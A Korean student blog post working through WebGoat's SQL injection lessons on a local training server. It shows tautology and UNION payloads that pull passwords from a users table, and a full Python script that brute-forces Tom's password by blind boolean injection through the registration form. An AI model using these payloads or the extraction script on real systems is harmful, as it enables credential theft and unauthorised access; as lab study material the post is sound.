SQL_injection에 대해서 알아보며 , 이것을 통해 무엇을 할 수 있고 , 어떻게 사용되는지 알아보겠다.
Webgoat는 sql_injection 실습환경을 제공해 주고 있으며 , 문제를 제공함으로써 가이드를 제공해 주고 있었다.
실습을 하기 위해 다음화면 처럼 sql_injection 을 클릭해 준다.
구성형태는 보면 , 1~6번까지는 개념을 설명 ( 약간 Document 처럼 ) 해 주고 있다.
원래는 빨간색인데 , 문제를 풀게 되면 초록색 버튼으로 바뀐다.
이건 여담인데 , 문제를 풀지 않아도 , 초록색 버튼으로 바뀌는 버그가 있다고 한다..
나는 전혀 그렇지 않았다.
위 그림은 첫번째 페이지 , 즉 간단한 개념과 , 목표를 설명해 주고 있다.
간략하게 말해보자면 , 여기에서는 SQL을 구성하며 , 어떻게 구성되어 있는 SQL 형태를 조작할 것인지를 알려주며 , SQL에 대한 간단한 지식을 가져야 하며 , 최고의 연습이 될 것이며 , SQL injection , Numeric SQL injection 지식을 알게 될 것이다 라고 알려주고 있다.
정말 친절한거 같다. 개인적으로 공부하는 사람들에겐 , 많은 도움이 될 것으로 생각이 된다.
2페이지를 보자 .
간략하게 정리하자면 , SQL이 무엇인지에 대해 알려주고 있다. Database와 상호작용을 하는 것이라고 한다.
데이터 정의어 , 데이터 조작어 , 데이터 조절어 를 알려주고 있다.
3 페이지는 SQL를 바탕으로 한 SQL _ injection이 무엇인지에 대한 설명을 해주고 있다.
간랸하게 설명해 보자면 , SQL 쿼리문을 client 에 주입 , 즉 공격함으로써 어떤 무엇인가를 하는 것이다 . 주입 한다는 것으로 보아서는 , 쿼리문 변경을 의미할 것이다.
그리고 sql_injection을 통해서 무엇을 할 수 있는지에 대해 설명해 주고있다.
4는 건너 뛰겠다.
5번은 SQL의 심각성을 인지시켜 주며 , 모든 데이터베이스가 명령어를 지원하지 않는다와 , 모든 데이터 베이가 동일하지 않다 라고 알려준다. 나는 개인적으로 이부분이 중요한거 같다. 왜냐하면 SQL이 무엇인지도 알면 좋겠지만 , 실질적으로 내가 injection을 하기 위해서는 그 해당 사이트가 어떤 DB를 사용하는지 알아야 할 것이다. DB마다 query문이 조금씩 다룰 수 있기 때문이다.
6페이지 에서는 SQL_injection 예제를 보여주고 있다.
잠재적인 문자열 주입과 , 잠재적인 수치 주입을 알려주고 있다.
주의 깊게 보면 , 쿼리문에 true or false의 논리를 or를 통해 무조건적인 true를 만드는 것을 볼 수 있다.
이제 대충 sql_injection이 무엇인지 , 알게 되었을 것이다.
7번으로 넘어가서 실습을 해보자.
다음을 보면 SQL injection의 기초부분을 묻고 있다.
Smith의 이름을 이용해서 데이터 select를 할 수 있다고 말하고 있다.
우리는 Smith가 users 테이블에 존재하는 것을 확인할 수 있고 , or 연산자를 붙임으로써 쿼리문을 true로 만듦으로써 쿼리문 자체를 true로 만들 수 있다.
8번으로 넘어가 보자 .
이번에는 Numeric SQL injection 이다 . 아마도 비슷하게 해결할 수 있을 것같다.
userID에 대해서 hint를 주고 있으며 , 101을 통해서 userID가 101인 유저의 정보를 가져올 수 있었다. 그렇지만 , 우리가 원하는건 이것이 아니다 . 전체 정보이다 . 이것 또한 or연산자를 붙여줌으로써 쿼리문을 true로 만들 수 있었다.
어느 정도 sql_injection이 몸에 익혔을 것이다.
이제는 sql_injection(advanced)를 다뤄 볼 것이다
Sql_injection바로 위에 advanced가 위치한다.
보면 위에서 처럼 간단한 개념과 목표를 알려주고 있다.
전과 비슷하지만 추가된게 보인다. Blind SQL injection이 보인다.
2페이지를 보자.
/* */ 와 – 의 차이점을 알려주고 있으며 , 쿼리문의 마지막은 항상 ; 로 끝나야 하는데 , ;의 위치에 따라서 쿼리문이 이어질 수 있다는 것을 설명해 주며 , 문자열은 연쇄적 ( 즉 , 연속적인 문자열을 허용하며 ) 이며 , 문자들은 인용 부호 없이 사용할 수 있음을 알려주고 있다 . SQL문에서도 확인가능한 Union , Join에 대해서 간단히 설명하고 있다.
이제 3번을 풀어보자.
다른 테이블을 join을 통해서 가져오라고 하고 있다.
다른 테이블을 가져오라고 하고 있으니까 , UNION or JOIN으로 풀어볼 수 있겠다는 생각을 할 수 있게된다 . 테이블에 대한 정보가 주어지기 때문에 UNION으로 해결해 볼 수 있겠다.
그런데 , UNION 문 자체는 두 개 이상의 SELECT 문의 결과를 합쳐서 반환하게 된다.
이 때 조건이 붙게 되는데 , 가져오려는 컬럼의 수가 두 쿼리 모두 동일해야 한다는 조건이 붙게 된다.
그래서 나는 name에 true를 만듦으로써 쿼리문의 칼럼 개수를 확인해 보았다.
보면 칼럼의 개수가 7개 인 것을 확인할 수 있다.
칼럼의 개수도 알게 되었고 , dave의 패스워드를 묻고 있다 .
이제 다음 쿼리문을 사용함으로써 , UNION한 SELECT 정보를 가져올 수 있게된다.
1' or '1' = 1 UNION SELECT userid, user_name, password,cookie, NULL, NULL, NULL FROM user_system_data—
다음 그림처럼 dave 의 패스워드를 알 수 있게 된다 .
이제 4번을 보자 .
4 페이지에서는 Blind SQL injection이 무엇인지 설명해 주고 있다. 간략하게 설명해 보자면 , 블라인드 SQL 인젝션은 데이터베이스에 true or false 질문을 요청하고 , 응용 프로그램 응답을 기반으로 대답을 결정하는 SQL injection 공격이라고 한다 . 그리고 , 일반적인 SQL 인젝션과 블라인드 인젝션의 차이점을 알려주고 있다. 일반적인 SQL 인젝션에서는 데이터베이서의 오류 메시지가 표시되고 , 쿼리가 작동하는 방법을 알 수 있는 충분한 정보를 제공한다고 한다. 아무것도 표시되지 않는 경우에는 진위 또는 거짓 진술을 기반으로 데이터베이스 질문을 시작해야 한다고 알려주고 있다. 이 경우가 블라인드 인젝션일 것으로 추측이 된다 .
예제를 보면 , 다음과 같이 알려 주고 있다.
위의 설명에서는 쿼리문을 주입할 때 , true or false 인 boolean의 형태로 에러 메시지가 응답할 것이라고 말해 주고 있다. 나는 AND substring(database_version(),1,1)=2 이 부분이 중요한 부분이라 생각한다. 왜냐하면 이따가 사용할 것이기 때문이다 . substring은 문자열을 쪼개는 것인데 , 위의 예제에서 DB 버전이 2인지 물어보고 있다 . AND로 연결되어 있기 때문에 앞 쿼리문은 True이기 때문에 2가 맞다면 전체 쿼리는 TRUE를 반환할 것이며 나는 DB 버전을 알 수 있게 되는것이다.
이제 5페이지로 가서 문제를 풀어 볼 것이다 . 개인적으로 이 문제가 정말 어려웠다.
보자.
여기서는 전체적인 기능을 써야하고 , 그냥 Tom으로 로그인할 수 있겠니?? 라고 던지고 있다…
정말 난감함 상황이다…
어떻게 접근해야 할지 감조차 안왔다..
그런데 신기한게 , REGISTER ( 회원가입 ) 부분을 준것이다. 아마 그냥 주진 않았겠지 라는 생각을해보았다.
회원가입 부분을 보면 다음과 같다.
Username, Email Address , password , Confirm password 입력란이 있다.
이것을 통해서 알 수 있는 사실은 어떤 데이터베이스에 username , Email Address , Password , Confirm Password 의 정보가 담겨 있을 것이다 라는 추측을 할 수 있게 된다.
그래서 할 수 있는 방법은 Blind SQL injection을 사용할 수 있겠다 라는 생각을 하게 된다.
앞에서 배운 substr를 사용해서 쿼리문을 사용해 볼 것이다.
Tom’ and substr(password,1,1) > ‘a’ and ‘1’=’1
위 쿼리는 username에 대입시켜 줄 것인데 , 이 쿼리문은 password를 유추해 보기 위한 쿼리문이다.
substr(password,1,1) > ‘a’ 이 password의 맨 앞쪽 부분을 추출해서 a보다 큰가?? 라는 조건문인데 , 만약에 이 부분이 True가 된다면 username 에 입력한 값 자체가 true가 될 것이고 , Register할려고 할 때 이미 있는 아이디라고 알려 줄 것이다 .
만약 이 쿼리문이 false가 된다면 새로운 계정 , 즉 계정이 생성이 될 것이다 라고 생각이 든다.
그래서 노가다를 해주어야 하는데 , 언제 하고 있나 싶다…
무엇인가 , 자동적으로 계산을 해주는 것이 필요했다.
그래서 java가 그나마 친숙하기도 하고 , 많이 해보아서 java로 구현해 볼려고 했으나 , 너무 어려워서 포기했다.
Python을 사용한 방법이 있다고 해서 python으로 해보자 라고 생각을 했다.
Python 코드는 다음과 같다.
import requests #
HTTP 요청을 하기 위한 패키지 라이브러리
password = str() #
password를 담아줄 변수
url ="http://localhost:8080/WebGoat/SqlInjection/challenge"
# 요청할 url 주소
cookie ={'JSESSIONID' : '53DE208FBF58F26B1BB682E3D001E8AF'} # Webgoat접속시 생성되는 나의 Session ID
print('Searching password_length ...')
password_length = int() # password_length를 담아줄
변수
for length in range(1, 30): # 패스워드 길이 판별
data = {'username_reg'
: "tom' and length(password) = %d and '1'='1" % length, 'email_reg': 'inwoo@inwoo.com', 'password_reg': '1','confirm_password_reg':'1'}
# 1~30 까지 for문을 돌려서 패스워드 길이를 판별함
r = requests.put(url, data, cookies = cookie)
# requests 함과 동시에 url에 data를 넣어 주고 , 나의 session아이디 삽입
if 'created'
in str(r.content):
continue
if 'exists' in
str(r.content):
password_length = length
break
# 만약 알파벳을 돌리다가 검색하는 알파벳과
동일한 알파벳이 존재한다면 password_length에 대입 , 그런데
여기서는 length는 숫자를 의미한다.
print('Find')
print("password_length
: %d." % password_length)
# 패스워드 길이
반환
print('* Find : password_length ')
for i in
range(1, password_length+1): # 패스워드 길이만큼 for문 , 패스워드를 찾을 것이다.
for c in range(0x21, 0x7b): # 아스키표 참고 ,
payload = "tom'
and substr(password, %d, 1) = '%c' and '1'='1" % (i,c) # 이부분에서 패스워드 길이만큼 각각의 문자들과
비교
data = {'username_reg': payload , 'email_reg': 'inwoo@inwoo.com' , 'password_reg': '1', 'confirm_password_reg': '1'}
r = requests.put(url, data , cookies =cookie)
print(r.content)
print(password)
if 'created'
in str(r.content):
continue
if 'exists' in
str(r.content):
password += chr(c) # 만약 회원가입이
된다면 그 문자를 password 변수에 저장
print(' real find ')
print("
tom's password : %s" %
password) # 최종 password 값 반환
위 코드를 돌려 주면 다음과 같은 결과값이 뜨며 , 시간은 30분정도 소요가 되었다.
비교하는 값들이 많다 보니까 오래걸리다 보다 . 그래도 사람보다는 조금걸린다 ..ㅎㅎ
열심히 찾고 있는 것을 알 수 있다.
열심히 찾고 있다…
그런데 , 맞게 했다고 생각했었는데 , 30분 기다려서 나온값이 다음과 같다… mismatch이다…
무엇이 잘못 된 것일까 생각을 하다가 …
for i in range(1, password_length+1)
위 부분을 보면 for문 돌리는 부분이 있다.
Password_length 만큼 돌려주면 된다고 생각했는데 , length 길이는 23으로 맞게 나오는데 for문이 22번까지만 도는것이다 … 그래서 마지막 y가 추출이 안됬다….
결론적으로 password_length + 1을 하고 다시 돌려주었다….
이번엔 40분이 걸렸따…..
위의 password 로 로그인을 하면 ..!! 성공 !!!
중간에 보면 아스키 코드를 쓴 부분이 있다 . 다음을 참고하면 쉽다 .
위에는 성공한 결과들이다 .
그런데 하다 보면 막히는 부분이 한두개가 아니였다.
먼저 session ID를 구하는 부분 …
이부분은 정말 오래걸렸다.
Java , Burpe , Fiddler를 사용해서 알아보았는데 , 내가 원하는 것처럼 쉽게 나오진 않았다.
그러다가 알게 된 chrome의 기능….
보면 chrome에서 제공해 주는 기능 중에 크롬에 저장된 Cookie에 대한 정보를 제공해 주는 부분이 있었다.
우선 WebGoat에서 사용할 거기 때문에 , 로그인을 해주고 , F12를 눌러서 소스를 본다 .
상단 위쪽에 Application부분에 Cookie 라는 부분이 있고 , 여기서 JSESSIONID를 쉽게 확인 할 수 있었다… 너무 허무했다…..
How to get Session ID ( 다음 링크를 참고했다 )
https://code.google.com/archive/p/procurement/wikis/LoginWithSessionID.wiki
Session ID는 이렇게 얻었으며 , browsercookie 패키지를 사용해서 할려고 했으나 , pip 업그레이드 오류가 해결이 안되서 못했다….
Tip : 혹여나 하다가 wife가 끊어지게 되면 다시 접속을 하게 될 것인데 , 이 때 주의할 점은 다시 접속을 하게 되면 session ID 값이 바뀌게 되므로 , 바뀐 session ID 값으로 바꿀 것.
참고자료 :
https://code.google.com/archive/p/procurement/wikis/LoginWithSessionID.wiki
https://bitbucket.org/richardpenman/browsercookie/
'학부공부 > 인터넷보안과응용' 카테고리의 다른 글
SQL 인젝션이란 무엇인가. (0) | 2018.12.08 |
---|---|
웹 해킹 침해사고 및 대응 (0) | 2018.12.03 |
pip_error (0) | 2018.11.12 |
WebGoat 개발자 모드 (0) | 2018.11.12 |
SQL 인증 우회 정의 , 종류 , 원인 (0) | 2018.09.21 |
#IT #먹방 #전자기기 #일상
#개발 #일상